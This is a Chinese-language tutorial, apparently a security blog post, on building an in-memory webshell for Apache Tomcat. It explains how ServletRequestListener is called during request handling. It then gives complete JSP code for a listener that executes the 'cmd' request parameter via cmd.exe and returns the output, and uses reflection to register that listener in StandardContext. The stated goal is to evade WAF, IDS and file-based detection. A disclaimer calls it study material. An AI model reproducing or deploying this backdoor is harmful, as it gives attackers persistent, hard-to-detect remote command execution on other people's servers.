背景:
基于现阶段红蓝对抗强度的提升,诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段,能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。 结合当下形势,对Tomcat容器如何利用Listener实现的内存Webshell进行研究学习。
声明 :
由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,此文仅作交流学习用途。
一、什么是Listener?
Listener译文监听器,顾名思义用于监听事件的发生或状态的改变。
二、Tomcat为什么要引入Listener?
Tomcat在启动、运行、关闭等各个过程中,由于环境中对象之间的依赖关系复杂,对象的属性和状态会发生各种改变,一个对象的改变需要通知其他依赖于它的对象,以此保证高度的协同合作,而Listener的引入,正是为了解决该问题。
这种行为模式,也称为观察者模式。
三、Listener的实现和类型?
Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener。
LifecycleListener增加了生命周期管理,主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。相关的类和接口列出如下,看下图三,Lifecycle接口定义了运行状态,用于容器状态的判断和管理。
但我们这次不讲LifecycleListener,原因是它们多用于Tomcat初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,随心所欲根据我们的输入执行命令。
所以,让我们来看看EvenListener。EvenListener接口很简单,简单到啥也没有。
原生Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。下图列举一些常见的监听器接口。
我们主要来关注箭头指向的ServletRequestListener,可能会好奇这么多不选,而要挑ServletRequestListener,既然要实现Webshell,理所当然希望它能接收我们任意的输入以及随心所欲控制响应,因此我们需找到一个Tomcat解析了请求后但仍未响应的中间环节。而ServletRequestListener是一个很好选择,来看看为什么。
ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。继续看,在哪个环节,什么时候,哪个地方会调用监听器。
具体在StandardHostValve调用下一个阀之前调用context.fireRequestInitEvent(request.getRequest()),进而调用ServletRequestListener。
了解Tomcat处理流程的应该知道,请求在CoyoteAdapter#service()方法中生成ServletRequest对象并完成解析,下个流程是到Engine、Container中进行处理,而StandardHostValve正是Container中的环节,到这一步时,我们的请求参数已经被Tomcat解析完毕并保存在Request对象里了,继续往下看。
此处的context是StandardContext,来看fireRequestInitEvent()。
通过this.getApplicationEventListeners();获取成员属性ApplicationEventListeners中的监听器,然后生成ServletRequestEvent事件对象,而后通过for循环,遍历调用(ServletRequestListener) listener.requestInitialized(event);
而requestInitialized就是继承ServletRequestLisner接口要实现的方法。
经过以上分析,大致了解,Tomcat执行到StandardHostValve#invoke()时,获取存储在StandardContext.ApplicationEventListeners中的监听器,并遍历调用listener#requestInitialized()
那注入listener马,我们只需要新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能,然后将该实例添加到StandardContext的ApplicationEventListeners变量就大功告成了。
默认情况ApplicationEventListeners为空,不存在监听器,这里如此设计是为了给开发者提供更多的功能扩展空间。
四、编写代码
导入的包:
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
编写监听器:
<%!
public class myListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
// 一个小路径快速获得StandardContext
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
添加监听器:
<%
myListener listenerdemo = new myListener();
context.addApplicationEventListener(listenerdemo);
%>
五、补充细节
(1)关于*.jsp页面中的request对象实际上是RequestFacade对象,这里采用的是门面模式,将复杂的对象转化成一个简单易操作的对象,提供一个简单入口的同时也是为了保证原有对象的独立性。而RequestFacade就是org.apache.catalina.connector.Request对象的门面。
(2)还记得调用ServletRequestListener的入口不?context.fireRequestInitEvent(request.getRequest()),这里的request.getRequest()得到的也是Request对象的门面,可别搞错咯。所以上面我使用了反射得到RequestFacade里的Request,进而得到Response控制输出。